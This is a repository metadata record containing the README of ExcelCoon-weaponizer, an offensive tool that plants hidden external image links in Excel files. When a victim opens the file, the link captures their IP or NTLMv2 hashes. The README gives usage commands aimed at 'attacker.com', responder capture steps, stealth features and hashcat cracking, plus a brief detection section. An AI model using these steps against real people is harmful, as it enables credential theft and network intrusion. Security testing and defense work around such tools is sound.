{"id":51952291,"url":"https://github.com/benjitrapp/excelcoon-weaponizer","last_synced_at":"2026-07-29T07:00:59.179Z","repository":{"id":366168624,"uuid":"1275291424","full_name":"BenjiTrapp/ExcelCoon-weaponizer","owner":"BenjiTrapp","description":null,"archived":false,"fork":false,"pushed_at":"2026-06-20T14:27:23.000Z","size":2981,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-06-20T16:21:43.292Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BenjiTrapp.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-06-20T13:55:45.000Z","updated_at":"2026-06-20T14:27:27.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/BenjiTrapp/ExcelCoon-weaponizer","commit_stats":null,"previous_names":["benjitrapp/excelcoon-weaponizer"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/BenjiTrapp/ExcelCoon-weaponizer","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FExcelCoon-weaponizer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FExcelCoon-weaponizer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FExcelCoon-weaponizer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FExcelCoon-weaponizer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BenjiTrapp","download_url":"https://codeload.github.com/BenjiTrapp/ExcelCoon-weaponizer/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BenjiTrapp%2FExcelCoon-weaponizer/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36022278,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-07-29T02:00:04.910Z","response_time":95,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2026-07-29T07:00:58.052Z","updated_at":"2026-07-29T07:00:59.171Z","avatar_url":"https://github.com/BenjiTrapp.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cdiv align=\"center\"\u003e\n\n\u003cimg src=\"output/logo.png\" alt=\"ExcelCoon Logo\" width=\"400\"\u003e\n\n# ExcelCoon\n\n**Inject invisible tracking and NTLM hash-capture payloads into Excel `.xlsx` files.**\n\nNo macros. No prompts. Just a spreadsheet doing spreadsheet things.\n\n[![Python 3.9+](https://img.shields.io/badge/python-3.9%2B-blue.svg)](https://www.python.org/downloads/)\n[![License: MIT](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)\n[![Zero Dependencies](https://img.shields.io/badge/dependencies-zero-brightgreen.svg)](#)\n\n\u003c/div\u003e\n\n---\n\n## Demo\n\n\u003e ExcelCoon weaponizes an Excel file, a capture server catches the NTLM handshake,\n\u003e and the victim's hash is extracted -- all from opening a spreadsheet.\n\n\u003cdiv align=\"center\"\u003e\n\n![ExcelCoon NTLM Hash Capture Demo](output/demo.gif)\n\n\u003c/div\u003e\n\n**What you're seeing:**\n\n1. ExcelCoon injects a hidden WebDAV image reference into a `.xlsx` file\n2. The attacker starts an NTLM capture server\n3. The victim opens the file -- Excel discovers the external image and Windows automatically sends NTLMv2 credentials\n4. Hash captured. Ready for `hashcat -m 5600`.\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eRun the demo yourself\u003c/b\u003e\u003c/summary\u003e\n\n```bash\n# One command -- builds container, runs demo, outputs GIF\ndocker compose -f docker-compose.demo.yml up --build\n\n# Or run interactively\ndocker compose -f docker-compose.demo.yml run --rm demo bash\n```\n\nThe demo runs end-to-end inside a single container: no faking, no simulation.\nThe `.xlsx` is actually opened, the OOXML structure is parsed, the external WebDAV\nreference is discovered and followed, and a real 3-step NTLM handshake captures the hash.\n\n\u003c/details\u003e\n\n---\n\n## Table of Contents\n\n- [Attack Flow](#attack-flow)\n- [Features](#features)\n- [Installation](#installation)\n- [Quick Start](#quick-start)\n- [Usage](#usage)\n- [Injection Modes](#injection-modes)\n- [How It Works](#how-it-works)\n- [Project Structure](#project-structure)\n- [Running Tests](#running-tests)\n- [Detection \u0026 Defense](#detection--defense)\n- [Legal Disclaimer](#legal-disclaimer)\n\n---\n\n## Attack Flow\n\n![](/output/excelcoon_flow.png)\n\n---\n\n## Features\n\n| Category | Feature | Description |\n|----------|---------|-------------|\n| **Modes** | HTTP tracking | Capture IP, User-Agent, and open-time |\n| | SMB hash capture | NTLMv2 via UNC path (LAN) |\n| | WebDAV hash capture | NTLMv2 over HTTP/S (remote) |\n| **Stealth** | Off-screen placement | Image anchored at randomized coordinates far outside view |\n| | Legit resource names | Random filenames like `logo.png`, `analytics.js` |\n| | Existing drawing support | Injects into existing drawings without breaking the file |\n| | rId collision avoidance | Safely handles worksheets with existing relationships |\n| **Workflow** | Batch mode | Process multiple files with glob patterns |\n| | Check mode | Detect if files have been weaponized |\n| | Interactive wizard | Guided step-by-step mode for beginners |\n| | JSON output | Machine-readable results for automation |\n| | Quiet mode | Silent operation for scripting (exit codes only) |\n| **Design** | Zero dependencies | Pure Python standard library |\n| | Cross-platform | Windows, macOS, Linux |\n| | Single file | One `excelcoon.py` -- drop it anywhere |\n\n---\n\n## Installation\n\n```bash\ngit clone https://github.com/BenjiTrapp/ExcelCoon-weaponizer.git\ncd ExcelCoon-weaponizer\n```\n\nNo dependencies required. Works with Python 3.9+.\n\n**Optional** -- install as a CLI tool:\n\n```bash\npip install .\n# Then use: excelcoon -i file.xlsx -m http -H host.com\n```\n\n---\n\n## Quick Start\n\n```bash\n# Simplest usage (auto-generates output filename):\npython excelcoon.py -i report.xlsx -m http -H myserver.com\n# Output: report_weaponized.xlsx\n\n# Interactive mode (guided wizard):\npython excelcoon.py\n```\n\n---\n\n## Usage\n\n```\npython excelcoon.py -i \u003cinput\u003e -m \u003cmode\u003e -H \u003chost\u003e [options]\n```\n\n### Required Arguments\n\n| Argument | Description |\n|----------|-------------|\n| `-i`, `--input` | Input `.xlsx` file (supports glob patterns for batch mode) |\n| `-m`, `--mode` | Injection mode: `http`, `smb`, or `webdav` |\n| `-H`, `--host` | Target host/IP where callbacks will be received |\n\n### Optional Arguments\n\n| Argument | Description |\n|----------|-------------|\n| `-o`, `--output` | Output file path (default: `\u003cinput\u003e_weaponized.xlsx`) |\n| `-p`, `--path` | Custom resource path after host (default: random) |\n| `--https` | Use HTTPS (HTTP mode) or SSL (WebDAV mode) |\n| `-v`, `--verbose` | Detailed progress output |\n| `-q`, `--quiet` | Suppress all output except errors |\n| `--json` | Output results as JSON |\n\n### Special Modes\n\n| Command | Description |\n|---------|-------------|\n| `python excelcoon.py` | Interactive wizard (no arguments) |\n| `python excelcoon.py --check \u003cfiles\u003e` | Analyze files for weaponization indicators |\n\n---\n\n## Examples\n\n### HTTP Tracking Canary\n\n```bash\npython excelcoon.py -i quarterly_report.xlsx -m http -H myserver.com\n```\n\n### HTTPS with Custom Path\n\n```bash\npython excelcoon.py -i file.xlsx -m http -H myserver.com --https -p tracking/pixel.png\n```\n\n### SMB Hash Capture (LAN)\n\n```bash\npython excelcoon.py -i file.xlsx -m smb -H 192.168.1.100\n\n# On your machine:\nsudo responder -I eth0 -v\n```\n\n### WebDAV Hash Capture (Remote)\n\n```bash\npython excelcoon.py -i file.xlsx -m webdav -H attacker.com\n\n# With SSL:\npython excelcoon.py -i file.xlsx -m webdav -H attacker.com --https\n\n# Capture:\nsudo responder -I eth0 -wv\n```\n\n### Batch Processing\n\n```bash\npython excelcoon.py -i \"reports/*.xlsx\" -m http -H tracker.io\npython excelcoon.py -i \"C:\\Docs\\*.xlsx\" -m smb -H 10.0.0.1\n```\n\n### Check / Scan Mode\n\n```bash\npython excelcoon.py --check document.xlsx\npython excelcoon.py --check *.xlsx\n```\n\n```\n[+] clean_file.xlsx: CLEAN - no external references found\n[~] evil_file.xlsx: WEAPONIZED - 1 external reference(s) found\n   \u003e [HTTP tracking] http://attacker.com/cdn/logo.png\n```\n\n### JSON Output\n\n```bash\npython excelcoon.py -i file.xlsx -m http -H srv.io --json\n```\n\n```json\n{\n  \"results\": [\n    {\n      \"input\": \"file.xlsx\",\n      \"output\": \"file_weaponized.xlsx\",\n      \"success\": true,\n      \"mode\": \"http\",\n      \"url\": \"http://srv.io/assets/logo.png\"\n    }\n  ],\n  \"summary\": { \"total\": 1, \"succeeded\": 1, \"failed\": 0 }\n}\n```\n\n---\n\n## Injection Modes\n\n| Mode | URL Format | Captures | Detection Risk | Best For |\n|------|-----------|----------|----------------|----------|\n| **HTTP** | `http(s)://host/path` | IP, User-Agent, timestamp | Low | Canary tokens, tracking opens |\n| **SMB** | `\\\\host\\share\\file` | NTLMv2 hash, username, hostname | Medium | LAN-based hash capture |\n| **WebDAV** | `\\\\host@80\\path` | NTLMv2 hash, username, hostname | Low-Medium | Remote hash capture over internet |\n\n---\n\n## How It Works\n\n1. **Extract** -- The XLSX (a ZIP of XML files) is extracted to a temp directory\n2. **Inject** -- A hidden 1x1px image element is added referencing your external URL\n3. **Repack** -- Modified XML is repacked into a valid XLSX\n\n### OOXML Files Modified\n\n| File | Change |\n|------|--------|\n| `[Content_Types].xml` | Registers new drawing part |\n| `xl/worksheets/sheet1.xml` | Adds `\u003cdrawing r:id=\"...\"/\u003e` reference |\n| `xl/worksheets/_rels/sheet1.xml.rels` | Links worksheet to drawing file |\n| `xl/drawings/drawingN.xml` | Contains the hidden image anchor |\n| `xl/drawings/_rels/drawingN.xml.rels` | Points to external URL (`TargetMode=\"External\"`) |\n\n---\n\n## Project Structure\n\n```\nExcelCoon-weaponizer/\n├── excelcoon.py               # CLI tool (single file, zero dependencies)\n├── pyproject.toml             # Packaging metadata \u0026 entry point\n├── Dockerfile.demo            # Self-contained demo container\n├── docker-compose.demo.yml    # One-command demo runner\n├── samples/\n│   └── sample.xlsx            # Multi-sheet test file\n├── scripts/\n│   ├── ntlm_capture_server.py # Lightweight NTLM hash capture HTTP server\n│   ├── victim_simulator.py    # Realistic Excel open simulation (OOXML + NTLM)\n│   ├── demo-ntlm-capture.sh   # End-to-end attack chain demo\n│   └── record-demo.sh         # asciinema recording + GIF conversion\n├── output/\n│   ├── demo.gif               # Recorded demo GIF\n│   └── demo.cast              # asciinema recording\n└── tests/\n    └── test_excelcoon.py      # Test suite (core, validation, CLI, edge cases)\n```\n\n---\n\n## Running Tests\n\n```bash\npython tests/test_excelcoon.py\n\n# Or as module:\npython -m tests.test_excelcoon\n```\n\nTest coverage includes weaponization for each mode, existing drawings, rId collisions, XML escaping, host/file validation, CLI output formats, batch/check mode, and edge cases (corrupt files, unknown modes, coordinate ranges).\n\n---\n\n## Detection \u0026 Defense\n\nIf you're on the blue team, look for:\n\n- External image references in drawing relationship files (`TargetMode=\"External\"`)\n- Unexpected outbound network connections when opening Excel files\n- Drawing anchors at unusual coordinates (columns \u003e100, rows \u003e500)\n- UNC paths or WebDAV references in OOXML relationship files\n\nUse the built-in scanner to audit suspicious files:\n\n```bash\npython excelcoon.py --check suspicious_file.xlsx\n```\n\n---\n\n## Legal Disclaimer\n\nThis tool is intended for **authorized security testing and research only**.\nUnauthorized use against systems you do not own or have explicit permission to test is illegal.\nThe authors assume no liability for misuse.\n\n---\n\n## Requirements\n\n- Python 3.9+\n- No external dependencies (standard library only)\n- Works on Windows, macOS, Linux\n- Docker (optional, for the demo)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenjitrapp%2Fexcelcoon-weaponizer","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbenjitrapp%2Fexcelcoon-weaponizer","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenjitrapp%2Fexcelcoon-weaponizer/lists"}